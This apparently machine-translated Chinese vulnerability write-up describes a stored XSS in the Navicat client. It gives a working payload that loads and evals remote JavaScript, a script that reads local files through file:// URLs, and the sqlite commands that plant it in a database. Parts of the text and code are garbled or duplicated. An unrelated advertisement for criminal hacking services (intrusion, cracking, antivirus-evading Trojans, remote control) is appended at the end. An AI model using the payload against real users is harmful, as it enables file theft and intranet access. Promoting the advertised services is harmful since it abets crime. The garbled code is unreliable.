Navicat客户端中有一个XSS。查看表字段时,不处理内容,从而导致XSS问题。使用此漏洞可读取敏感文件,例如/Users/XXXX/.bash_history。
漏洞发现
这两天正在测试一个漏洞数据库,该数据库集成了...
Navicat客户端中有一个XSS。查看表字段时,不处理内容,从而导致XSS问题。使用此漏洞可读取敏感文件,例如/Users/XXXX/.bash_history。
漏洞发现
这两天正在测试一个漏洞数据库,该数据库集成了来自众所周知的来源(如packetstormsecurity和exploitdb)的数据。当我们用navicat打开并查看一个字段时,会发生一些奇怪的事情。有没有Javascript弹出提示?

通过搜索prompt关键字快速找到问题所在

因此,当渲染数据库字段时,navicat在代码中莫名其妙地执行了Javascript。
漏洞测试
为了便于调试客户端XSS,我们编写了一个最小的“requirejs”漏洞利用代码。此代码将远程加载 127.0.0.1/test.js 并执行
http://localhost/x#< svg/onload='function reqListener(){eval(this.responseText);} var oReq=new XMLHttpRequest(); oReq.addEventListener('load',reqListener); oReq.open('GET', 'http://127.0.0.1/test.js?_='+new Date()); oReq.send();'>
下面写 test.js以读取沙箱外的文件作为示例(注意替换 用户/USERNAME/.vimrc 以查找要读取的文件)
函数reqListener(){
提示(this.responseText);
} var oReq=new XMLHttpRequest();
oReq.addEventListener('load',reqListener);
oReq.open('GET','file: ///Users/USERNAME/.vimrc');
oReq.send();
然后创建SQLite数据库并使用Navicat打开它
%GT; sqlite3 test.db
SQLite版本3.19.3 2017-06-27 16: 48: 08输入'.help'作为使用提示。
源码>创建表测试(id文本);
源码>插入测试值('http://localhost/x#< svg/onload=''函数reqListener(){eval(this.responseText);} var oReq=new XMLHttpRequest(); oReq.addEventListener('load',reqListener); oReq .open('GET','http://127.0.0.1/test.js?_='+new Date()); oReq.send();''>');
经过测试,使用此漏洞读取用户文件,Intranet代理,在开发机器上访问redis等都是可能的,具有一定的危害

测试环境下载
我创建了一个最小的测试库“navicat-clientxss-test.db”,可以在这里下载:https://rasp.baidu.com/download/
*作者:c0debreak
黑客业务列表介绍和一般分类:
类别:攻击入侵破解开发
1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量]
2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。
3:破解业务类:软件,加密文件,二次打包,脱壳等。
4:二次开发业务清单:软件二次开发,源代码二次开发等
5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等
备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明
注意:仅接受正式业务,个人无权接受。收集此内容。